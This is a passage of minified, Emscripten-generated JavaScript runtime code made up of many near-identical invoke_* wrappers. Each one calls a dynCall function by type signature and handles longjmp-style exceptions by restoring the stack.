Module[\"dynCall_iiiji\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiijii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iiijii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiijiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iiijiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iij(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_iij\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiji(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iiji\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iijii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iijii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iijiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iijiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iijji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iijji\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iijjii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iijjii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iijjiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iijjiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iijjji(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iijjji\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ij(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_ij\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iji(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_iji\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ijiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_ijiii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ijj(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_ijj\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ijji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_ijji\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_j(index){var sp=stackSave();try{return Module[\"dynCall_j\"](index)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jdi(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_jdi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jdii(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_jdii\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jfi(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_jfi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ji(index,a1){var sp=stackSave();try{return Module[\"dynCall_ji\"](index,a1)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jidi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_jidi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jidii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_jidii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jii(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_jii\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jiii(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_jiii\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_jiiii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_jiiiii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_jiiiiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module[\"dynCall_jiiiiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jiiji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_jiiji\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jiji(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_jiji\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jijii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_jijii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jijiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_jijiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jijj(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_jijj\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jijji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_jijji\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jji(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_jji\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_jjji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_jjji\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_v(index){var sp=stackSave();try{Module[\"dynCall_v\"](index)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vd(index,a1){var sp=stackSave();try{Module[\"dynCall_vd\"](index,a1)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vf(index,a1){var sp=stackSave();try{Module[\"dynCall_vf\"](index,a1)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vff(index,a1,a2){var sp=stackSave();try{Module[\"dynCall_vff\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vffff(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_vffff\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vffffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_vffffi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vffffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_vffffii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vfi(index,a1,a2){var sp=stackSave();try{Module[\"dynCall_vfi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vfii(index,a1,a2,a3){var sp=stackSave();try{Module[\"dynCall_vfii\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vfiii(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_vfiii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vi(index,a1){var sp=stackSave();try{Module[\"dynCall_vi\"](index,a1)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vid(index,a1,a2){var sp=stackSave();try{Module[\"dynCall_vid\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viddi(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_viddi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viddiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_viddiiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vidi(index,a1,a2,a3){var sp=stackSave();try{Module[\"dynCall_vidi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vidii(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_vidii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vidiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_vidiii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vif(index,a1,a2){var sp=stackSave();try{Module[\"dynCall_vif\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viff(index,a1,a2,a3){var sp=stackSave();try{Module[\"dynCall_viff\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifff(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_vifff\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffff(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_viffff\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifffffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_vifffffi\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_viffffi\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_viffffii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffffiifffiiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16){var sp=stackSave();try{Module[\"dynCall_viffffiifffiiiiif\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_vifffi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_vifffii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffi(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_viffi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_viffii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffiifffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{Module[\"dynCall_viffiifffffiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffiifffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module[\"dynCall_viffiifffiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_viffiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viffiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module[\"dynCall_viffiiiif\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifi(index,a1,a2,a3){var sp=stackSave();try{Module[\"dynCall_vifi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifii(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_vifii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_vifiii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_vifiiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_vifiiiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vifijii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_vifijii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_vii(index,a1,a2){var sp=stackSave();try{Module[\"dynCall_vii\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viid(index,a1,a2,a3){var sp=stackSave();try{Module[\"dynCall_viid\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viidi(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_viidi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viidii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_viidii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viif(index,a1,a2,a3){var sp=stackSave();try{Module[\"dynCall_viif\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiff(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_viiff\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viifff(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_viifff\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiffffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module[\"dynCall_viiffffffffi\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiffffffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{Module[\"dynCall_viiffffffffiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viifffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module[\"dynCall_viifffffffi\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module[\"dynCall_viiffffffi\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viifffffi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module[\"dynCall_viifffffi\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiffffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_viiffffi\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viifffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_viifffi\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_viiffi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_viiffii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viifi(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_viifi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_viifii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viifiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_viifiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viifiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_viifiiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viii(index,a1,a2,a3){var sp=stackSave();try{Module[\"dynCall_viii\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiidi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_viiidi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiif(index,a1,a2,a3,a4){var sp=stackSave();try{Module[\"dynCall_viiif\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiifffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_viiifffi\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiiffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_viiiffi\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiiffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_viiiffii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiifi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module[\"dynCall_viiifi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiififfi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module[\"dynCall_viiififfi\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiififi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_viiififi\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiififii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module[\"dynCall_viiififii\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiififiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module[\"dynCall_viiififiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module[\"dynCall_viiifii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiifiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module[\"dynCall_viiifiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiifiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module[\"dynCall_viiifiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_viiii(index,a1,a2,a3,a4){var 